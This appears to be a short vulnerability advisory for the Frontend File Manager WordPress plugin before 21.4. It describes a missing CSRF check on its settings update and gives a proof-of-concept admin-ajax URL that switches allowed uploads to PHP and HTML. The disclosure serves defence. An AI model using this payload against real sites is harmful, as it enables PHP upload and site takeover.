WordPress Plugin Vulnerabilities
Frontend File Manager < 21.4 - Arbitrary Settings Update via CSRF
Description
The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack. As the plugin does not validate the allowed file type, this could lead to attackers making admins allowing PHP file to be uploaded by any authenticated users
Proof of Concept
Make a logged in admin open the URL below https://example.com/wp-admin/admin-ajax.php?action=wpfm_save_settings&wpfm_file_types=php,html&wpfm_button_title=Select&wpfm_upload_title=Upload&wpfm_max_file_size=3mb&wpfm_disable_bootstarp=yes&wpfm_file_saved=File(s)+Uploaded!
